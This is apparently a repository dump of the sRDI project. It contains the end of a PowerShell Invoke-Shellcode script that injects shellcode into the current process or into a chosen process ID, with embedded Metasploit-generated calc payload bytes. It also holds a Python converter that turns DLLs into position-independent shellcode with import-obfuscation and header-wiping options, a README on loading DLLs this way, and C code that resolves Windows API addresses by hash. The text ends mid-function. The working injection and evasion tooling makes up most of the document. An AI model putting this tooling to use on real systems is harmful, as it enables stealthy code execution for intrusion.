$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}
+52
View File
@@ -0,0 +1,52 @@
import argparse
from ShellcodeRDI import *
__version__ = '1.2'
def main():
parser = argparse.ArgumentParser(description='RDI Shellcode Converter', conflict_handler='resolve')
parser.add_argument('-v', '--version', action='version', version='%(prog)s Version: ' + __version__)
parser.add_argument('input_dll', help='DLL to convert to shellcode')
parser.add_argument('-f', '--function-name', dest='function_name', help='The function to call after DllMain', default='SayHello')
parser.add_argument('-u', '--user-data', dest='user_data', help='Data to pass to the target function', default='dave')
parser.add_argument('-c', '--clear-header', dest='clear_header', action='store_true', help='Clear the PE header on load')
parser.add_argument('-b', '--pass-shellcode-base', dest='pass_shellcode_base', action='store_true', help='Pass shellcode base address to exported function')
parser.add_argument('-i', '--obfuscate-imports', dest='obfuscate_imports', action='store_true', help='Randomize import dependency load order', default=False)
parser.add_argument('-d', '--import-delay', dest='import_delay', help='Number of seconds to pause between loading imports', type=int, default=0)
parser.add_argument('-of', '--output-format', dest='output_format', help='Output format of the shellcode (e.g. raw,string)', type=str, default="raw")
arguments = parser.parse_args()
input_dll = arguments.input_dll
output_bin = input_dll.replace('.dll', '.bin')
dll = open(arguments.input_dll, 'rb').read()
flags = 0
if arguments.clear_header:
flags |= 0x1
if arguments.obfuscate_imports:
flags = flags | 0x4 | arguments.import_delay << 16
if arguments.pass_shellcode_base:
flags |= 0x8
converted_dll = ConvertToShellcode(dll, HashFunctionName(arguments.function_name), arguments.user_data.encode(), flags)
if arguments.output_format=="raw":
print('Creating Shellcode: {}'.format(output_bin))
with open(output_bin, 'wb') as f:
f.write(converted_dll)
elif arguments.output_format=="string":
output_bin = input_dll.replace('.dll', '.txt')
converted_dll_text ="".join([r"\x{}".format(str(format(c,'02x'))) for c in converted_dll])
print('Creating Shellcode: {}'.format(output_bin))
with open(output_bin, 'w') as f:
f.write(converted_dll_text)
if __name__ == '__main__':
main()
+42
View File
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>be642266-f34d-43c3-b6e4-eebf8e489519</ProjectGuid>
<ProjectHome>
</ProjectHome>
<StartupFile>
</StartupFile>
<SearchPath>
</SearchPath>
<WorkingDirectory>.</WorkingDirectory>
<OutputPath>.</OutputPath>
<Name>Python</Name>
<RootNamespace>RDIShellcodePyLoader</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
<DebugSymbols>true</DebugSymbols>
<EnableUnmanagedDebugging>false</EnableUnmanagedDebugging>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
<DebugSymbols>true</DebugSymbols>
<EnableUnmanagedDebugging>false</EnableUnmanagedDebugging>
</PropertyGroup>
<PropertyGroup>
<VisualStudioVersion Condition="'$(VisualStudioVersion)' == ''">10.0</VisualStudioVersion>
</PropertyGroup>
<ItemGroup>
<Compile Include="ConvertToShellcode.py" />
<Compile Include="ShellcodeRDI.py" />
</ItemGroup>
<!-- Uncomment the CoreCompile target to enable the Build command in
Visual Studio and specify your pre- and post-build commands in
the BeforeBuild and AfterBuild targets below. -->
<!--<Target Name="CoreCompile" />-->
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
<Import Project="$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\Python Tools\Microsoft.PythonTools.targets" />
</Project>
File diff suppressed because one or more lines are too long
+103
View File
@@ -0,0 +1,103 @@
# sRDI - Shellcode Reflective DLL Injection
sRDI allows for the conversion of DLL files to position independent shellcode. It attempts to be a fully functional PE loader supporting proper section permissions, TLS callbacks, and sanity checks. It can be thought of as a shellcode PE loader strapped to a packed DLL.
Functionality is accomplished via two components:
- C project which compiles a PE loader implementation (RDI) to shellcode
- Conversion code which attaches the DLL, RDI, and user data together with a bootstrap
This project is comprised of the following elements:
- **ShellcodeRDI:** Compiles shellcode for the DLL loader
- **NativeLoader:** Converts DLL to shellcode if neccesarry, then injects into memory
- **DotNetLoader:** C# implementation of NativeLoader
- **Python\ConvertToShellcode.py:** Convert DLL to shellcode in place
- **Python\EncodeBlobs.py:** Encodes compiled sRDI blobs for static embedding
- **PowerShell\ConvertTo-Shellcode.ps1:** Convert DLL to shellcode in place
- **FunctionTest:** Imports sRDI C function for debug testing
- **TestDLL:** Example DLL that includes two exported functions for call on Load and after
**The DLL does not need to be compiled with RDI, however the technique is cross compatiable.**
## Use Cases / Examples
Before use, I recommend you become familiar with [Reflective DLL Injection](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) and it's purpose.
#### Convert DLL to shellcode using python
```python
from ShellcodeRDI import *
dll = open("TestDLL_x86.dll", 'rb').read()
shellcode = ConvertToShellcode(dll)
```
#### Load DLL into memory using C# loader
```
DotNetLoader.exe TestDLL_x64.dll
```
#### Convert DLL with python script and load with Native EXE
```
python ConvertToShellcode.py TestDLL_x64.dll
NativeLoader.exe TestDLL_x64.bin
```
#### Convert DLL with powershell and load with Invoke-Shellcode
```powershell
Import-Module .\Invoke-Shellcode.ps1
Import-Module .\ConvertTo-Shellcode.ps1
Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)
```
## Flags
The PE loader code uses `flags` argument to control the various options of loading logic:
- `SRDI_CLEARHEADER` [0x1]: The DOS Header and DOS Stub for the target DLL are completley wiped with null bytes on load (Except for e_lfanew). This might cause issues with stock windows APIs when supplying the base address as a psuedo `HMODULE`.
- `SRDI_CLEARMEMORY` [0x2]: After calling functions in the loaded module (`DllMain` and any exports), the DLL data will be cleared from memory. This is dangerous if you expect to continue executing code out of the module (Threads / `GetProcAddressR`).
- `SRDI_OBFUSCATEIMPORTS` [0x4]: The order of imports in the module will be randomized before starting IAT patching. Additionally, the high 16 bits of the flag can be used to store the number of seconds to pause before processing the next import. For example, `flags | (3 << 16)` will pause 3 seconds between every import.
- `SRDI_PASS_SHELLCODE_BASE` [0x8]: As opposed to passing supplied user data to the exported function, sRDI will instead pass the base address of the currently executing shellcode block. This can be useful for self-cleanup inside more advanced modules.
## Building
This project is built using Visual Studio 2019 (v142) and Windows SDK 10. The python script is written using Python 3.
The Python and Powershell scripts are located at:
- `Python\ConvertToShellcode.py`
- `PowerShell\ConvertTo-Shellcode.ps1`
After building the project, the other binaries will be located at:
- `bin\NativeLoader.exe`
- `bin\DotNetLoader.exe`
- `bin\TestDLL_<arch>.dll`
- `bin\ShellcodeRDI_<arch>.bin`
If you would like to update the static blobs inside any of the tools:
```
> python .\lib\Python\EncodeBlobs.py -h
usage: EncodeBlobs.py [-h] solution_dir
sRDI Blob Encoder
positional arguments:
solution_dir Solution Directory
optional arguments:
-h, --help show this help message and exit
> python lib\Python\EncodeBlobs.py C:\code\srdi
[+] Updated C:\code\srdi\Native/Loader.cpp
[+] Updated C:\code\srdi\DotNet/Program.cs
[+] Updated C:\code\srdi\Python/ShellcodeRDI.py
[+] Updated C:\code\srdi\PowerShell/ConvertTo-Shellcode.ps1
```
## Alternatives
If you find my code disgusting, or just looking for an alternative memory-PE loader project, check out some of these:
- https://github.com/fancycode/MemoryModule - Probably one of the cleanest PE loaders out there, great reference.
- https://github.com/TheWover/donut - Want to convert .NET assemblies? Or how about JScript?
- https://github.com/hasherezade/pe_to_shellcode - Generates a polymorphic PE+shellcode hybrids.
- https://github.com/DarthTon/Blackbone - Large library with many memory hacking/hooking primitives.
## Credits
The basis of this project is derived from ["Improved Reflective DLL Injection" from Dan Staples](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) which itself is derived from the original project by [Stephen Fewer](https://github.com/stephenfewer/ReflectiveDLLInjection).
The project framework for compiling C code as shellcode is taken from [Mathew Graeber's reasearch "PIC_BindShell"](http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html)
+88
View File
@@ -0,0 +1,88 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31410.357
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestDLL", "TestDLL\TestDLL.vcxproj", "{558D08E4-48B4-4E5F-94E5-5783CF0557C4}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DotNet", "DotNet\DotNet.csproj", "{FD50DEE9-91AB-4449-BA55-27C71098076B}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRDI", "ShellcodeRDI\ShellcodeRDI.vcxproj", "{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Native", "Native\Native.vcxproj", "{68293519-3053-4AB6-921F-9690E2E1487F}"
ProjectSection(ProjectDependencies) = postProject
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A} = {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}
{558D08E4-48B4-4E5F-94E5-5783CF0557C4} = {558D08E4-48B4-4E5F-94E5-5783CF0557C4}
EndProjectSection
EndProject
Project("{888888A0-9F3D-457C-B088-3A5042F75D52}") = "Python", "Python\Python.pyproj", "{BE642266-F34D-43C3-B6E4-EEBF8E489519}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Converters", "Converters", "{F602BD8E-D2C2-4B04-85C6-292388CF1D83}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunctionTest", "FunctionTest\FunctionTest.vcxproj", "{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|Win32.ActiveCfg = Debug|Win32
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|Win32.Build.0 = Debug|Win32
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|x64.ActiveCfg = Debug|x64
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|x64.Build.0 = Debug|x64
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|Win32.ActiveCfg = Release|Win32
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|Win32.Build.0 = Release|Win32
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|x64.ActiveCfg = Release|x64
{558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|x64.Build.0 = Release|x64
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|Win32.ActiveCfg = Debug|x86
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|Win32.Build.0 = Debug|x86
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|x64.ActiveCfg = Debug|x64
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|x64.Build.0 = Debug|x64
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|Win32.ActiveCfg = Release|x86
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|Win32.Build.0 = Release|x86
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|x64.ActiveCfg = Release|x64
{FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|x64.Build.0 = Release|x64
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|Win32.ActiveCfg = Release|Win32
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|Win32.Build.0 = Release|Win32
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|x64.ActiveCfg = Release|x64
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|x64.Build.0 = Release|x64
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|Win32.ActiveCfg = Release|Win32
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|Win32.Build.0 = Release|Win32
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|x64.ActiveCfg = Release|x64
{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|x64.Build.0 = Release|x64
{68293519-3053-4AB6-921F-9690E2E1487F}.Debug|Win32.ActiveCfg = Debug|Win32
{68293519-3053-4AB6-921F-9690E2E1487F}.Debug|Win32.Build.0 = Debug|Win32
{68293519-3053-4AB6-921F-9690E2E1487F}.Debug|x64.ActiveCfg = Debug|x64
{68293519-3053-4AB6-921F-9690E2E1487F}.Debug|x64.Build.0 = Debug|x64
{68293519-3053-4AB6-921F-9690E2E1487F}.Release|Win32.ActiveCfg = Release|Win32
{68293519-3053-4AB6-921F-9690E2E1487F}.Release|Win32.Build.0 = Release|Win32
{68293519-3053-4AB6-921F-9690E2E1487F}.Release|x64.ActiveCfg = Release|x64
{68293519-3053-4AB6-921F-9690E2E1487F}.Release|x64.Build.0 = Release|x64
{BE642266-F34D-43C3-B6E4-EEBF8E489519}.Debug|Win32.ActiveCfg = Debug|Any CPU
{BE642266-F34D-43C3-B6E4-EEBF8E489519}.Debug|x64.ActiveCfg = Debug|Any CPU
{BE642266-F34D-43C3-B6E4-EEBF8E489519}.Release|Win32.ActiveCfg = Release|Any CPU
{BE642266-F34D-43C3-B6E4-EEBF8E489519}.Release|x64.ActiveCfg = Release|Any CPU
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|Win32.ActiveCfg = Debug|Win32
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|Win32.Build.0 = Debug|Win32
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|x64.ActiveCfg = Debug|x64
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|x64.Build.0 = Debug|x64
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|Win32.ActiveCfg = Release|Win32
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|Win32.Build.0 = Release|Win32
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|x64.ActiveCfg = Release|x64
{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(NestedProjects) = preSolution
{FD50DEE9-91AB-4449-BA55-27C71098076B} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83}
{68293519-3053-4AB6-921F-9690E2E1487F} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83}
{BE642266-F34D-43C3-B6E4-EEBF8E489519} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83}
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {3C9908F0-8E60-451C-B039-CE1FD3FFB06A}
EndGlobalSection
EndGlobal
@@ -0,0 +1,131 @@
#include <windows.h>
#include <winternl.h>
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash( DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
dwModuleHash = ROTR32( dwModuleHash, 13 );
if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
// We'll assume the function we are matching isn't the very first or last for safety
dwNumFunctions = pExportDir->NumberOfNames - 1;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames + (dwNumFunctions * sizeof(DWORD)));
// We'll also iterate in reverse to switch things up
for (i = dwNumFunctions; i > 1; i--)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase--;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
